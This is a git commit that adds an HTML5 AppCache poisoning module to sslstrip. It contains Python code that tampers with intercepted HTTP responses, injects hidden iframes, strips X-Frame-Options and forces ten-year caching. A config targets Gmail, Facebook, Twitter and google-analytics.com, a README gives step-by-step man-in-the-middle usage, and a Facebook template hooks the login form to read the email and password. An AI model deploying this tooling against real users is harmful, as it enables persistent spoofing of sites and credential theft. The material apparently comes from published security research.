initial commit

This commit is contained in:
byt3bl33d3r 2014-07-07 13:40:49 +02:00
commit 6fa335183c
37 changed files with 2698 additions and 0 deletions

View file

@ -0,0 +1,172 @@
# Copyright (c) 2004-2009 Moxie Marlinspike, Krzysztof Kotowicz
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging, re, os.path, time
from datetime import date
from sslstrip.DummyResponseTamperer import DummyResponseTamperer
class AppCachePoison(DummyResponseTamperer):
'''
AppCachePosion performs HTML5 AppCache poisioning attack - see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html
'''
mass_poisoned_browsers = []
def tamper(self, url, data, headers, req_headers, ip):
if not self.isEnabled():
return data
if "enable_only_in_useragents" in self.config:
regexp = self.config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
logging.log(logging.DEBUG, "Tampering disabled in this useragent (%s)" % (req_headers["user-agent"]))
return data
urls = self.urlMonitor.getRedirectionSet(url)
(s,element,url) = self.getSectionForUrls(urls)
if not s:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return data
logging.log(logging.WARNING, "Found URL %s in section %s" % (url, s['__name__']))
p = self.getTemplatePrefix(s)
if element == 'tamper':
logging.log(logging.WARNING, "Poisoning tamper URL with template %s" % (p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
logging.log(logging.WARNING, "Poisoning manifest URL")
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
logging.log(logging.WARNING, "Poisoning raw URL")
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return data
def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")
if not 'mass_poison_url_match' in self.config: # no url
return data
if browser_id in self.mass_poisoned_browsers: #already poisoned
return data
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
return data
if 'mass_poison_useragent_match' in self.config and not "user-agent" in req_headers:
return data
if not re.search(self.config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
return data
if not re.search(self.config['mass_poison_url_match'], url): #different url
return data
logging.log(logging.WARNING, "Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
return data
def getMassPoisonHtml(self):
html = "<div style=\"position:absolute;left:-100px\">"
for i in self.config:
if isinstance(self.config[i], dict):
if self.config[i].has_key('tamper_url') and not self.config[i].get('skip_in_mass_poison', False):
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.config[i]['tamper_url'] + "\"></iframe>"
return html + "</div>"
def cacheForFuture(self, headers):
ten_years = 315569260
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
in_ten_years = date.fromtimestamp(time.time() + ten_years)
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
def removeDangerousHeaders(self, headers):
headers.removeHeader("X-Frame-Options")
def getSpoofedManifest(self, url, section):
p = self.getTemplatePrefix(section)
if not os.path.exists(p+'.manifest'):
p = self.getDefaultTemplatePrefix()
f = open(p + '.manifest', 'r')
manifest = f.read()
f.close()
return self.decorate(manifest, section)
def decorate(self, content, section):
for i in section:
content = content.replace("%%"+i+"%%", section[i])
return content
def getTemplatePrefix(self, section):
if section.has_key('templates'):
return self.config['templates_path'] + '/' + section['templates']
return self.getDefaultTemplatePrefix()
def getDefaultTemplatePrefix(self):
return self.config['templates_path'] + '/default'
def getManifestUrl(self, section):
return section.get("manifest_url",'/robots.txt')
def getSectionForUrls(self, urls):
for url in urls:
for i in self.config:
if isinstance(self.config[i], dict): #section
section = self.config[i]
if section.get('tamper_url',False) == url:
return (section, 'tamper',url)
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
return (section, 'tamper',url)
if section.get('manifest_url',False) == url:
return (section, 'manifest',url)
if section.get('raw_url',False) == url:
return (section, 'raw',url)
return (False,'',urls.copy().pop())

44
app_cache_poison/README Normal file
View file

@ -0,0 +1,44 @@
I've modified sslstrip to be able to tamper with server responses.
One prepared example of tampering attack is HTML5 AppCache poisoning attack that places the
modified responses in browsers long-lasting HTML5 AppCache so that the spoofing continues
even after the victim is no longer MITMed.
Exemplary response tampering with HTML AppCachePoison:
1) python sslstrip.py -t app_cache_poison/config.ini
2) While under MITM, visit http://example.com to display tampered content
3) Visit http://www.facebook.com in AppCache supporting browser (Chrome, Firefox, Opera, Safari).
In Firefox you have to agree to store offline content, Chrome does not display any confirmations.
4) Stop MITM, restart browser, go for coffee or holidays
5) Visit http://www.facebook.com again - the spoofed content is still there!
As a bonus, once google analytics HTTP version will be requested, the spoofed content of it will be cached for 10 years.
EASY LOCAL TESTING MITM (for Ubuntu systems):
# create sslstrip admin user
# forward local traffic
$ sudo ./testmitm.sh start `id -u sslstrip`
# run sslstrip to hijack traffic
$ chown -R sslstrip /path/to/sslstrip/
$ su sslstrip
$ python sslstrip.py -t app_cache_poison/config.ini -p
# stop
$ sudo ./testmitm.sh stop
More info:
http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html
This functionality has been added by Krzysztof Kotowicz
<kkotowicz at gmail dot com>

View file

View file

@ -0,0 +1,57 @@
[DEFAULT]
; HTML5 AppCache poisioning attack
; see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack.
; generic settings for tampering engine
enabled=True
tamper_class=app_cache_poison.AppCachePoison
;all settings below are specific for AppCachePoison
templates_path=app_cache_poison/templates
;enable_only_in_useragents=Chrome|Firefox
; when visiting first url matching following expression we will embed iframes with all tamper URLs
;(to poison the cache for all of them all at once)
mass_poison_url_match=http://.*prezydent\.pl.*
; it's only useful to mass poison chrome because:
; - it supports iframe sandbox preventing framebusting
; - does not ask for confirmation
mass_poison_useragent_match=Chrome|Safari
[test]
; any //example.com URL redirects to iana and will display our spoofed content
tamper_url=http://example.com/
manifest_url=http://www.iana.org/robots.txt ;use existing static URL that is rarely seen by the browser user, but exists on the server (no 404!)
templates=test ; which templates to use for spoofing content?
skip_in_mass_poison=1
; use absolute URLs - system tracks 30x redirects, so you can put any URL that belongs to the redirection loop here
[gmail]
tamper_url=http://mail.google.com/mail/
; manifest has to be of last domain in redirect loop
manifest_url=http://mail.google.com/robots.txt
templates=default ; could be omitted
[facebook]
tamper_url=http://www.facebook.com/
manifest_url=http://www.facebook.com/robots.txt
templates=facebook ; use different template
[twitter]
tamper_url=http://twitter.com/
;tamper_url_match=^http://(www\.)?twitter\.com/$
manifest_url=http://twitter.com/robots.txt
[testing]
tamper_url=http://www.html5rocks.com/en/
manifest_url=http://www.html5rocks.com/robots.txt
; we can also modify non-HTML URLs to append malicious code to them
; but for them to be cached in HTML5 AppCache they need to be referred in
; manifest for a poisoned domain
; if not, they are "only" cached for 10 years :D
[ga]
raw_url=http://www.google-analytics.com/ga.js
templates=script
skip_in_mass_poison=1
;you can add other scripts in additional sections like jQuery etc.

View file

@ -0,0 +1,38 @@
<style type="text/css" media="screen">
.aribbon {
background-color: #a00;
overflow: hidden;
z-index: 1000;
/* top left corner */
position: absolute;
left: -3em;
top: 2.5em;
/* 45 deg ccw rotation */
-moz-transform: rotate(-45deg);
-webkit-transform: rotate(-45deg);
/* shadow */
-moz-box-shadow: 0 0 1em #888;
-webkit-box-shadow: 0 0 1em #888;
}
.aribbon a {
border: 1px solid #faa;
color: #fff;
display: block;
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
margin: 0.05em 0 0.075em 0;
padding: 0.5em 3.5em;
text-align: center;
text-decoration: none;
/* shadow */
text-shadow: 0 0 0.5em #444;
}
</style>
<div class="aribbon">
<a href="https://github.com/koto/sslstrip">
AppCache poisoned
</a>
</div>
<div style="padding: 1em;border:1px solid red;margin:1em">
<h1>AppCache Poison works!</h1>
<p><code>%%tamper_url%%</code> page is spoofed with <a href="https://github.com/koto/sslstrip">AppCache Poison</a> by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a>, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.</p>
</div>

View file

@ -0,0 +1,8 @@
CACHE MANIFEST
CACHE:
%%tamper_url%%
http://www.google-analytics.com/ga.js
NETWORK:
*
http://*
https://**

View file

@ -0,0 +1,46 @@
<style type="text/css" media="screen">
.aribbon {
background-color: #a00;
overflow: hidden;
z-index: 1000;
/* top left corner */
position: absolute;
left: -3em;
top: 2.5em;
/* 45 deg ccw rotation */
-moz-transform: rotate(-45deg);
-webkit-transform: rotate(-45deg);
/* shadow */
-moz-box-shadow: 0 0 1em #888;
-webkit-box-shadow: 0 0 1em #888;
}
.aribbon a {
border: 1px solid #faa;
color: #fff;
display: block;
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
margin: 0.05em 0 0.075em 0;
padding: 0.5em 3.5em;
text-align: center;
text-decoration: none;
/* shadow */
text-shadow: 0 0 0.5em #444;
}
</style>
<div class="aribbon">
<a href="https://github.com/koto/sslstrip">
AppCache poisoned
</a>
</div>
<div style="padding: 1em;border:1px solid red;margin:1em">
<h1>We work on Facebook too!</h1>
<p><code>%%tamper_url%%</code> page is spoofed with <a href="https://github.com/koto/sslstrip">AppCache Poison</a> by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a>, but this is just a default content. To replace it, create <code>facebook.append</code> or <code>facebook.replace</code> file and add your content there.</p>
</div>
<script>
var f = document.getElementById('login_form').onsubmit;
document.getElementById('login_form').onsubmit = function() {
alert("Hello, " + document.getElementById('email').value + ' ' + document.getElementById('pass').value);
return Event.__inlineSubmit(this,event);
}
</script>

View file

@ -0,0 +1,7 @@
CACHE MANIFEST
CACHE:
%%tamper_url%%
NETWORK:
*
http://*
https://**

View file

@ -0,0 +1,2 @@
;console.log('AppCache Poison was here. Google Analytics FTW');

View file

@ -0,0 +1,49 @@
<html>
<style type="text/css" media="screen">
.aribbon {
background-color: #a00;
overflow: hidden;
z-index: 1000;
/* top left corner */
position: absolute;
left: -3em;
top: 2.5em;
/* 45 deg ccw rotation */
-moz-transform: rotate(-45deg);
-webkit-transform: rotate(-45deg);
/* shadow */
-moz-box-shadow: 0 0 1em #888;
-webkit-box-shadow: 0 0 1em #888;
}
.aribbon a {
border: 1px solid #faa;
color: #fff;
display: block;
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
margin: 0.05em 0 0.075em 0;
padding: 0.5em 3.5em;
text-align: center;
text-decoration: none;
/* shadow */
text-shadow: 0 0 0.5em #444;
}
body { padding-left: 20em}
</style>
<div class="aribbon">
<a href="https://github.com/koto/sslstrip">
AppCache poisoned
</a>
</div>
<h1>Hurray!</h1>
<p>AppCache Poison by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a></p>
<p>If you're seeing this, <a href="http://github.com/koto/sslstrip">AppCache Poison</a> works correctly. Try going to <a href="http://facebook.com">http://facebook.com</a> to see it in action.</p>
<script>
if(!window.applicationCache) {
document.write('<strong>Your browser does not support HTML5 AppCache though, cache poisoning won\'t work:(</strong>');
}
<!-- and poison ga -->
<img src="http://www.google-analytics.com/ga.js" />
</script>
</html>